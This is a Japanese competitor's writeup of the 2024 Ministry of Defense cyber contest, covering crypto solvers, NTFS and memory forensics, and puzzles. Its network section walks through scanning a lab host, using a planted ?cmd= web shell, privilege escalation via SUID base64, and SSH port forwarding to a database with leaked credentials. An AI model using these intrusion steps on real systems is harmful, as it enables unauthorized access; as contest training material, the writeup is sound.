防衛省サイバーコンテスト 2024 - Writeup

防衛省サイバーコンテスト 2024に参加し、450人中7位の成績を収めました ✌️

感想とwriteupを書きます。

目次

順位・解けた問題

感想

今回のコンテストはよくあるCTFとは違い、

  • network問題でOSCP, Boot2Root的な問題が出る
  • pwnがない

という特徴があり、両方とも自分には有利に働いてこの結果だったと思います。

今の実力で解けるべき問題は解き切ったかな(DO_tHe_bestは頑張れた気もする)という思いです。

PivotとBruteforceが面白かったのと、Missing IVとShort RSA Public Keyは教育的で良いなと思いました。

Welcome

添付にフラグがそのまま書いてある。

Crypto

Information of Certificate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
% openssl x509 -in Easy.crt -text -noout
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 2024 (0x7e8)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=XX, ST=Some-State, L=Nowhere, O=Invalid, OU=Invalid, CN=QRK7rNJ3hShV.vlc-cybercontest.invalid/emailAddress=user@QRK7rNJ3hShV.vlc-cybercontest.invalid
Validity
Not Before: Jan 1 00:00:00 2024 GMT
Not After : Feb 1 00:00:00 2024 GMT
Subject: C=XX, ST=Some-State, L=Nowhere
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (512 bit)
Modulus:
00:a6:61:cf:52:55:0a:e4:5e:9b:5c:99:3b:aa:20:
90:0d:80:06:9a:9b:be:23:4c:17:0d:2c:fc:d1:be:
66:43:40:7f:55:10:6a:99:56:0c:b2:09:a5:a2:6d:
2a:25:c4:ff:67:e4:e3:02:87:57:cf:77:af:67:04:
31:c5:f7:9b:83
Exponent: 65537 (0x10001)
Signature Algorithm: sha256WithRSAEncryption
3c:ff:d8:42:a8:eb:2c:55:93:5c:73:a3:84:fa:ea:9b:f8:fb:
f2:06:50:e4:95:97:9f:5e:ad:c7:ac:b6:36:77:4b:66:1f:38:
20:bf:71:9d:83:32:c1:3c:35:4f:b9:98:b4:4c:97:87:53:7d:
84:80:83:df:ab:10:cc:fa:88:b1

で出てきたCNがフラグ。

Missing IV

AES-CBCの復号の問題。AES-CBCは以下の構造で暗号化している。

https://aes.cryptohack.org/ecbcbcwtf/ より引用

  • 鍵: 128 bit (今回は既知)
  • 平文: 128 bitごとに分割 (未知)
  • 暗号文: 128 bitごとに分割 (既知)

という状況。

今回は幸い鍵がわかっているので、後ろのブロックから順に復号してやれば良い(現在の復号済みブロックを前の暗号ブロックとXORする関係で後ろから処理)。

一番最初のブロックだけはIVがわからないので復号できないが、たぶん最初のブロックに大事な情報は入ってないと高を括る。

以下のプログラムを書いた。復号結果を zip にしているのは、最初に目で見たら PK のzipファイルのマジックコードが先頭に見えたから。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Cipher import AES

key = bytes.fromhex("4285a7a182c286b5aa39609176d99c13")

with open("NoIV.bin", "rb") as f:
encrypted_flag = f.read()

# 暗号文をブロック分割
enc_blocks = [encrypted_flag[i : i + 16] for i in range(0, len(encrypted_flag), 16)]
print(f"enc_blocks: {len(enc_blocks)}")

def decrypt_block(block_bytes):
# 暗号文を復号
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(block_bytes)
return decrypted

decrypted = bytes()

# 暗号文のブロックを逆順に復号
for i in range(len(enc_blocks) - 1, 0, -1):
# ブロック単体の復号
dec_ecb_block = decrypt_block(enc_blocks[i])

# 復号結果は、前のブロックとXORされている。再度XORをとることで復号
prev_enc_block = enc_blocks[i - 1]
dec_cbc_block = [blk ^ prev_blk for blk, prev_blk in zip(dec_ecb_block, prev_enc_block)]
#print(f"decrypted block #{i}: {''.join([chr(c) for c in dec_cbc_block])}")

decrypted = bytes(dec_cbc_block) + decrypted

# 最初のブロックはIVがわからないので復号できない

with open('dec.zip', 'wb') as f:
f.write(decrypted)
print("decrypted data written to dec.zip")

実行すると、 dec.zip ができる。unzipすると色々ファイルが出てくる。

1
2
3
% ag flag
content.xml
2:...<text:p text:style-name="P1">flag{ESYQV0fPMxz4wMmU}</text:p></office:text></office:body></office:document-content>

ということで、

Short RSA Public Key

RSAの問題の解法は自分メモとして RSA - Notion にまとめてある。

まずは添付の .pem を雑に↓に投げる。

Online Certificate Decoder, decode crl,crt,csr,pem,privatekey,publickey,rsa,dsa,rasa publickey,ec

public exponentは e modulus の部分が公開鍵 n 。10進数にすると:

1
2
% python -c 'print(0xad81c92641c0b18c4eda551c1d7828044e3e4a7519aac90ee4691c4a86dce2e1)'
78479434358679743508116090024686132395246871443799969871485501232049475609313

公開鍵が短いので、素因数分解も簡単。factordbに投げる。

素因数分解もできたので、あとはコードを書く。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import long_to_bytes, bytes_to_long

e = 0x10001
n = 78479434358679743508116090024686132395246871443799969871485501232049475609313
with open("RSA-cipher.dat", "rb") as myfile:
c = bytes_to_long(myfile.read())

p = 1011146650909449935800449563521726151
q = 77614294907759846691928156982114516291863

assert n == p * q

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

m = pow(c, d, n)
print(long_to_bytes(m))

実行すると

1
2
% python solve.py
b'\x02\xb0\xf9\x92\x16M\x1fN\x0f\xcd\xd5Bl\x00flag{X0Myx6IHI8}\n'

Cryptographically Insecure PRNG

XORに使う鍵は、4バイトのシードさえ決まれば一意に定まる。ただし任意4バイトはブルートフォースするには多すぎるので、絞り込みたい。

最初の4文字が英字であることが期待されるので、そのような条件を満たすようなシードをリストアップすることとする。以下の seedlist.py (試行錯誤ゆえめちゃ汚い)を実行すると、 seedlist.hex のファイルにシード候補たちが1行ずつ書かれる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import bytes_to_long
import itertools

def mk_seed(ciphertext, ascii4):
ascii4_long = bytes_to_long(bytes(ascii4, "ascii"))

seed_bytes = b""
for j in range(4):
seed_bytes = bytes([ciphertext[j] ^ ((ascii4_long >> ((3 - j) * 8)) & 0xFF)]) + seed_bytes
return seed_bytes

# Read the encrypted file
with open("PRNG.bin", "rb") as f:
ciphertext = f.read()

# アルファベットのリストを作成
alphabet = [chr(i) for i in range(ord("a"), ord("z") + 1)] + [
chr(i) for i in range(ord("A"), ord("Z") + 1)
]

# 4文字の組み合わせを生成
combinations = itertools.product(alphabet, repeat=4)

with open("seedlist.hex", "w") as f:

# ループで組み合わせを処理
for combo in combinations:
# 文字列に変換して出力
ascii4 = "".join(combo)
seed = mk_seed(ciphertext, ascii4)
seed_hex = bytes.hex(seed)
print(ascii4, seed_hex)
f.write(f"{seed_hex}\n")

このシードを使って復号を試みる。復号結果には flag の文字列が含まれているはずなので、復号結果にそれが含まれていたら decrypted-seed-{その時のseed}.txt に復号結果全文が書き込まれるようなスクリプトを書いた(これまた汚い…)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def decrypt_first_4bytes(ciphertext, seed):
plaintext = ""
for j in range(4):
plaintext += chr(ciphertext[j] ^ ((seed >> (j * 8)) & 0xFF))
return plaintext

def decrypt(ciphertext, prng):
plaintext = ""
for i in range(0, len(ciphertext), 4):
xor_val = next(prng)
for j in range(4):
# print(f"i: {i}, j: {j}, xor_val: {xor_val}")
if i + j < len(ciphertext):
plaintext += chr(ciphertext[i + j] ^ ((xor_val >> (j * 8)) & 0xFF))
return plaintext

def lcg(m=4294967296, a=233, c=653, seed=0):
"""Linear congruential generator"""
while True:
yield seed
seed = (a * seed + c) % m

# Read the encrypted file
with open("PRNG.bin", "rb") as f:
ciphertext = f.read()

with open("seedlist.hex", "r") as f:
for seed_hex in f:
seed = int(seed_hex.strip(), 16)
first_4bytes = decrypt_first_4bytes(ciphertext, seed)
print(
"[progress] seed: {:08X}, first_4bytes: {}".format(
seed, first_4bytes.encode("utf-8")
)
)

assert first_4bytes.isalpha()

prng = lcg(seed=seed)
plaintext = decrypt(ciphertext, prng)

if "flag" in plaintext or "FLAG" in plaintext or "Flag" in plaintext:
print(f"[Hit ASCII!] seed: {seed}, plaintext: {plaintext}")
with open(f"decrypted-seed-{seed}.txt", "w") as f2:
f2.write(plaintext)

シードが10進数で 2638296720 のとき、以下の平文が得られる。

1
Against selection release between gray knowledge. To interest trot versus protective morning. Round death annoy on interesting bat. Inside finger zip of jolly skate. Opposite flavor exercise of husky quiet. Minus plate include despite whole development. Below society desert than kindhearted head. To shirt guarantee anti steadfast secretary. Beneath tree laugh like romantic expert. To sisters end below hallowed carriage. flag{QVFE5i5LkZdR} Inside hook point into depressed hate. Past act reply anti quarrelsome stove. Aboard badge memorize amid vagabond farm. On riddle request without offbeat pets. At mouth object above present ink. Near curve stroke in garrulous trouble. Anti country answer through swift talk. Over test escape into puzzling crook. Than stream waste near uneven ants. About fireman choke along defective base.

Forensics

NTFS Data Hide

FTK Imagerを初めて使ってみたが、下手くそでうまくいかなかった 😇

自分メモの sleuthkit 基本仕草 - Notion あたりを読みつつ sleuthkit でやっていく。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
% fls -o 0000000128 NTFS.vhd
r/r 4-128-1: $AttrDef
r/r 8-128-2: $BadClus
r/r 8-128-1: $BadClus:$Bad
r/r 6-128-4: $Bitmap
r/r 7-128-1: $Boot
d/d 11-144-4: $Extend
r/r 2-128-1: $LogFile
r/r 0-128-6: $MFT
r/r 1-128-1: $MFTMirr
d/d 49-144-1: $RECYCLE.BIN
r/r 9-128-8: $Secure:$SDS
r/r 9-144-11: $Secure:$SDH
r/r 9-144-14: $Secure:$SII
r/r 10-128-1: $UpCase
r/r 10-128-4: $UpCase:$Info
r/r 3-128-3: $Volume
d/d 39-144-1: NTFSDataHide
d/d 41-144-1: NTFSFileDelete
d/d 40-144-1: NTFSFileRename
d/d 36-144-5: System Volume Information
V/V 256: $OrphanFiles

% fls -o 0000000128 NTFS.vhd 39-144-1
r/r 42-128-3: Sample.pptx
r/r 42-128-5: Sample.pptx:script

% icat -o 0000000128 -r NTFS.vhd 42-128-5
"[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('ZmxhZ3tkYXRhX2Nhbl9iZV9oaWRkZW5faW5fYWRzfQ=='))"

Base64が出てきたのでCyberChef。

NTFS File Delete

前問と同様に sleuthkit で。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
% fls -o 0000000128 NTFS.vhd
r/r 4-128-1: $AttrDef
r/r 8-128-2: $BadClus
r/r 8-128-1: $BadClus:$Bad
r/r 6-128-4: $Bitmap
r/r 7-128-1: $Boot
d/d 11-144-4: $Extend
r/r 2-128-1: $LogFile
r/r 0-128-6: $MFT
r/r 1-128-1: $MFTMirr
d/d 49-144-1: $RECYCLE.BIN
r/r 9-128-8: $Secure:$SDS
r/r 9-144-11: $Secure:$SDH
r/r 9-144-14: $Secure:$SII
r/r 10-128-1: $UpCase
r/r 10-128-4: $UpCase:$Info
r/r 3-128-3: $Volume
d/d 39-144-1: NTFSDataHide
d/d 41-144-1: NTFSFileDelete
d/d 40-144-1: NTFSFileRename
d/d 36-144-5: System Volume Information
V/V 256: $OrphanFiles

% fls -o 0000000128 NTFS.vhd 41-144-1
r/r 48-128-1: Sample.txt
-/r * 52-128-1: flag.txt

% icat -o 0000000128 -r NTFS.vhd 52-128-1
flag{resident_in_mft}

NTFS File Rename

$MFT から履歴辿ろうと思ったけどファイル名わからなかった。ヒント見た。

NTFS ファイルシステムはジャーナリングファイルシステムで、NTFS Log や USN ジャーナルにファイルの変更履歴が記録されています。

sleuthkit で $LogFile をゲット。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
% fls -o 0000000128 NTFS.vhd
r/r 4-128-1: $AttrDef
r/r 8-128-2: $BadClus
r/r 8-128-1: $BadClus:$Bad
r/r 6-128-4: $Bitmap
r/r 7-128-1: $Boot
d/d 11-144-4: $Extend
r/r 2-128-1: $LogFile
r/r 0-128-6: $MFT
r/r 1-128-1: $MFTMirr
d/d 49-144-1: $RECYCLE.BIN
r/r 9-128-8: $Secure:$SDS
r/r 9-144-11: $Secure:$SDH
r/r 9-144-14: $Secure:$SII
r/r 10-128-1: $UpCase
r/r 10-128-4: $UpCase:$Info
r/r 3-128-3: $Volume
d/d 39-144-1: NTFSDataHide
d/d 41-144-1: NTFSFileDelete
d/d 40-144-1: NTFSFileRename
d/d 36-144-5: System Volume Information
V/V 256: $OrphanFiles

% icat -o 0000000128 -r NTFS.vhd 2-128-1 > LogFile

Windowsのファイルにありがちな2バイトエンコーディングに気をつけつつ strings でチェック。

1
2
3
4
5
6
% strings -e l LogFile |grep docx
werful.docx
"journaling_system_is_powerful.docx
owerful.docx
"journaling_system_is_powerful.docx
...

HiddEN Variable

メモリフォレンジック!初めてなんだよなぁ…

タイトルからして環境変数を見たそう。ググると Volatility とかいうのを使うと良いとか。本当は2とか3の使い方で滅茶苦茶苦労したけど、サラッと要点を書く。

1
2
3
4
5
6
% vol.py -f ~/tmp/forensics/memdump.raw windows.envars.Envars > Envars.txt

% ag flag
Envars.txt
1298:2816 sihost.exe 0x1747e0e2010 FLAG BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS
...

flag{BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS} かな?ヨシ! と思ったけど通らない。ここで試行錯誤沼にハマり30分以上損したが、CyberChefに入れたら教えてくれた。

悔し〜〜〜〜〜〜〜〜〜〜

My Secret

取っ掛かりがあまりない & 残り時間も少なくなってきていたのでヒントを見た。

7-Zip というソフトウェアで何かを行っているようです。

じゃあプロセス絞って解析だな。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
% vol.py -f ~/tmp/forensics/memdump.raw windows.pslist > pslist.txt

% grep '7z' pslist.txt
5516 3468 7z.exe 0xe206bb303080 4 - 1 False 2023-12-26 00:51:23.000000 N/A Disabled
# PIDが5516

% vol.py -f ~/tmp/forensics/memdump.raw windows.cmdline --pid 5516
Volatility 3 Framework 2.6.1
Progress: 100.00 PDB scanning finished
PID Process Args

5516 7z.exe 7z x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od:\

% vol.py -f ~/tmp/forensics/memdump.raw -o . windows.dumpfiles --pid 5516
Volatility 3 Framework 2.6.1
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result

DataSectionObject 0xe206bbc4a2f0 Secrets.7z Error dumping file
SharedCacheMap 0xe206bbc4a2f0 Secrets.7z file.0xe206bbc4a2f0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb

材料は揃ったっぽいので展開。

1
% 7z x -p'Y0uCanF1ndTh1sPa$$w0rd' file.0xe206bbc4a2f0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb

Secrets.rtf というファイルができるので開くと、、フラグがない…

ないわけないでしょ、リッチテキストってことは反転でしょ

いた…

Miscellaneous

Une Maison

添付画像は↓

バーコードっぽい…?

Aperi’Solve

で色味を落としたやつを適当なAndroidアプリのバーコードリーダーで読んだら、読めた。

String Obfuscation

添付コードはこれ。

1
2
3
4
5
6
7
8
9
10
11
import sys

if len(sys.argv) < 2:
exit()

KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

if sys.argv[1] == KEY:
print("flag{%s}" % FLAG)

FLAG の箇所を普通に評価すればOK。

1
2
3
% python
>>> chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)
'3FxYFm4uTYDFFzmb3'

Where Is the Legit Flag?

コードはこれ。

1
2
3
4
5

exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52))
TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="
TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36]
exec(bytes([WATANABE ^ 0b01010011 for WATANABE in reversed(TAKAHASHI)]))

めんどくさ…

TANAKA をCyberChefでBase64デコードすると、Zlib展開することまで提案してくれた。

展開結果はこんな感じ。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Than volleyball vanish against lumpy berry.
SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\'
# Above face explain for physical decision.
# Via snake name round terrific brass.
# Following suggestion sound regarding female recess.
# Toward vessel disagree beneath huge porter.
SUZUKI = [74-0+0,
87*1,int(48**1),
# Off purpose land as rural statement.
int(8_3),int(32.00000),int('34'),
76 & 0xFF,72 | 0x00,79 ^ 0x00,[65][0],
# During knot rely save wretched scarecrow.
(2),47 if True else 0,int(12/1),10 % 11,ord(chr(26)),
30+5,int(48/2*2),9*9]
# Plus toe settle with vast insect.
# Save hands shelter with ratty produce.
# Outside legs nest versus tranquil relation.
# As walk pat round rightful advice.
# Beside payment train by large key.
# Past behavior post toward unable home.
# Among place complain considering unknown current.
( # Around spark scorch above spotty grape.
''# Underneath jewel chop past dependent rifle.
. join ([
# Since cobweb tie off hurt string.
SATO[i] # Since cobweb tie off hurt string.
for i in SUZUKI
# if i > 4728:
# break
# t = 234667 * 83785
# print(t/3457783)
# Through queen dam of slippery comparison.
])
# By wall stroke without secret wash.
)
# Opposite yoke need beside superb lumber.
print("flog{8vje9wunbp984}")

太字にした部分、評価はしているけど出力していない。これをprintしてみるとフラグ。

Utter Darkness

タイトルからしてステガノグラフィー。青空白猫にかけてフィルタをポチポチしてたらフラグ。

Serial Port Signal (解けなかった 😭)

20マイクロ秒毎に 0/1 が並んだCSV。モールスか…? ビット列→ASCIIか…?

こねくり回したけど全然うまくいかず、両方ともヒントを見た。

シリアル通信の方式は UART です。

ボーレートは 9600、データ長は 7 bit、パリティは偶数、ストップビットは 1 です。

残り時間わずかだしプログラム書きたくないし、オンラインのデコーダー探したりCopilotに頑張ってもらったりしたけど無理だった。


先人のwriteup↓を拝見する。

防衛省サイバーコンテスト 2024 writeup - st98 の日記帳 - コピー

記載のスクリプト実行すると、

1
JXXHello UART: synt{IjUZC5TD}

の出力が出る。ROT13っぽいのでCyberChefにかけると、フラグ。

Network (NW)

Discovery

まずはnmap。

1
2
3
4
5
6
7
8
9
10
% sudo nmap -sS -T4 10.10.10.21
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-25 23:16 JST
Nmap scan report for schatzsuche.ctf (10.10.10.21)
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

HTTPが空いているのでアクセスしてみる。

http://schatzsuche.ctf/ にリダイレクトされるので、 /etc/hosts

1
10.10.10.21 schatzsuche.ctf

を書き足して再度アクセス。

見た目的にも何もないし入力箇所もない。ffufします。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
% ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://schatzsuche.ctf/FUZZ
...
[Status: 200, Size: 268, Words: 8, Lines: 6, Duration: 7ms]
* FUZZ: .well-known/security.txt

[Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 7ms]
* FUZZ: cmsadmin

[Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 7ms]
* FUZZ: ftp

[Status: 200, Size: 428, Words: 67, Lines: 8, Duration: 6ms]
* FUZZ: index.html

[Status: 200, Size: 4700, Words: 793, Lines: 141, Duration: 7ms]
* FUZZ: robots.txt

:: Progress: [4723/4723] :: Job [1/1] :: 4347 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
...

/ftp を辿ると、 credentials.txt が手に入る。

その中に /cmsadmin のCMSに入れるID/passが記載されているので、ログインする。

メニューのinfo的なところからバージョンがわかる。

Exploit

CMSよろしく .php ファイルをいじれる様子。reverse shellのPHPを仕込もうとしたけど、仕込んだPHPにアクセスしてもPHPで実行されずにベタ書きHTMLとして配信されている…?

動的実行の設定を変えようにも、今のIDだとその権限がない模様。

悩んでいると、自分の書いたファイルがどんどん書き換わる。どうやら他のプレイヤーと同じ環境で上書きしまくっているよう。なんそれ?

誰かが仕込んでくれた、フォームに ?cmd= パラメーター書くとコマンドライン実行して出力見せてくるやつに運よくアクセスできたので、

1
2
find / -name '*.txt'
cat /var/www/flag.txt

してフィニッシュ。PHP実行できるようにするのあれどうやったんだろう?

Pivot

sshできる。ホームディレクトリに root オーナーのフラグある(もちろん読めない)。

OSCP知識的には linpeas 刺して弱い所見つけてroot取って終了。… と思ったら、なんとgeorgeさん自分のホームディレクトリにも /tmp/ にも書き込みアクセスできない。そんな…

しかしSUIDビット立ってる実行ファイルでrootユーザーとしてフラグ読むパターンもOSCPあるある。

1
2
george@330bb6afc5ef:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/base64

なんか珍しいのが引っかかったな。

base64はファイルを対象にエンコードできるので、これでフラグ得られる(?)

1
2
george@330bb6afc5ef:~$ /usr/bin/base64 secrets.txt
W01hcmlhREIgQWNjZXNzIEluZm9ybWF0aW9uXQpkYl91c2VyCkg0UmliMF85MGxkQjRSRU4K

デコードすると…

1
2
3
[MariaDB Access Information]
db_user
H4Rib0_90ldB4REN

く〜


MariaDBを探せば良さそう。しかしVPN参加しているマシンからnmapしても見つからない。

CMSはDBアクセスしてるはずなので、Discovery, Exploitの問題で入った管理画面でinfo的なところを見てみると、(CMSサーバーにとっての) ctfbox_mariadb_1 (192.168.32.2に解決される) というホストを発見。

ここにmysqlプロトコルでログインすればよいのだが、 mysql コマンドはないし、 python3 やら perl にもMySQLプロトコルを喋れるプラグインはない。

ヒントを見る。

SSH サーバーで実行できるコマンドは少ないですが、ポートフォワーディングを利用すればうまくいくはずです。

あああああそっかあああああああ

ポートフォーワードうろ覚えだが、VPN参加している攻撃マシンから以下のコマンドを打って接続できた。

1
2
% ssh -L3307:192.168.32.2:3306 george@10.10.10.21
% mysql -h 127.0.0.1 -P 3307 -u db_user --password=H4Rib0_90ldB4REN

あとはテーブルまでたどり着くだけ。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| flag5 |
| information_schema |
+--------------------+
2 rows in set (0.017 sec)

MariaDB [(none)]> use flag5
Database changed

MariaDB [flag5]> show tables;
+-----------------+
| Tables_in_flag5 |
+-----------------+
| flag |
+-----------------+
1 row in set (0.007 sec)

MariaDB [flag5]> select * from flag;
+----+------------------------+
| id | flag |
+----+------------------------+
| 1 | flag{p!V071ng_M31s73r} |
+----+------------------------+

FileExtract

WiresharkのファイルダウンロードでFTPから .zip をダウンロード。だがパスワード付きzip。
パスワード付きzipのクラック with john - Notion でもパスワード特定できず。

Follow TCP Streams でFTPサーバーのパスワードが見えるので、それで試すと展開できた。

Do tHe best (解けなかった 😭)

HTTPレスポンスヘッダから、https://github.com/m13253/dns-over-https がヒントであって、DNS over HTTPSの問題であることはわかった。例えば以下のリクエストは通る。

1
2
% curl --insecure -H 'accept: application/dns-json' 'https://10.10.10.20/dns-query?name=example.com&type=A'
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"example.com.","type":1}],"Authority":[{"name":"example.com.","type":6,"TTL":86400,"Expires":"Mon, 26 Feb 2024 14:45:17 UTC","data":"ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"}]

しかし時間もなくこれ以上手が出せず…


逆引きが正解だった模様。うわーN年前にdigでやったことある!

1
2
% curl  --insecure -H 'accept: application/dns-json' 'https://10.10.10.20/dns-query?name=20.10.10.10.in-addr.arpa&type=PTR'
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"20.10.10.10.in-addr.arpa.","type":12}],"Answer":[{"name":"20.10.10.10.in-addr.arpa.","type":12,"TTL":86400,"Expires":"Mon, 26 Feb 2024 14:47:09 UTC","data":"DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com."}]}

得られたホストを指定してHTTPリクエストでフラグ。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
% curl --insecure -H 'Host: DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com' https://10.10.10.20
<!DOCTYPE html>
<html>
<head>
<title>DO tHe best</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>flag{8NZfrhDH-ZGe}</h1>
</body>
</html>

これは時間かけたら解けたかもな…

Programming

大体Copilotがやりました

Logistic Map

Copilotに以下のお願い。

1
2
3
下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください。なお、値の保持と計算には倍精度浮動小数点数を使用してください。

x_{n+1} = 3.99 x_n (1 - x_n)

こんなコードを吐いた。一発成功。

1
2
3
4
5
6
7
8
9
10
11
12
def logistic_map(x0, r, n):
x = x0
for _ in range(n):
x = r * x * (1 - x)
return x

x0 = 0.3
r = 3.99
n = 9999

result = logistic_map(x0, r, n)
print(f"The value of x_{n}: {result}")
1
2
% python solve.py
The value of x_9999: 0.8112735079776592

Randomness Extraction

ググって <https://github.com/MayankKharbanda/randomness_extractors/blob/master/neumann/von_neumann.py を発見。

こいつを実行する。

1
2
3
% python3 von_neumann.py -i random.dat # output.bin ができる
% file output.bin
output.bin: data

得体が知れないのでバイナリを眺める。

1
% xxd output.bin

たまたまフラグが目についた。冴えてた。

XML Confectioner

Copilotニキの出番。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
添付の sweets.xml には、多数の sweets:batch 要素が含まれています。これらの中から、下記の条件すべてを満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容を探してprintしてください。

1. 少なくとも二つの子要素 sweets:icecream が含まれる
2. 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
3. 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
4. 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
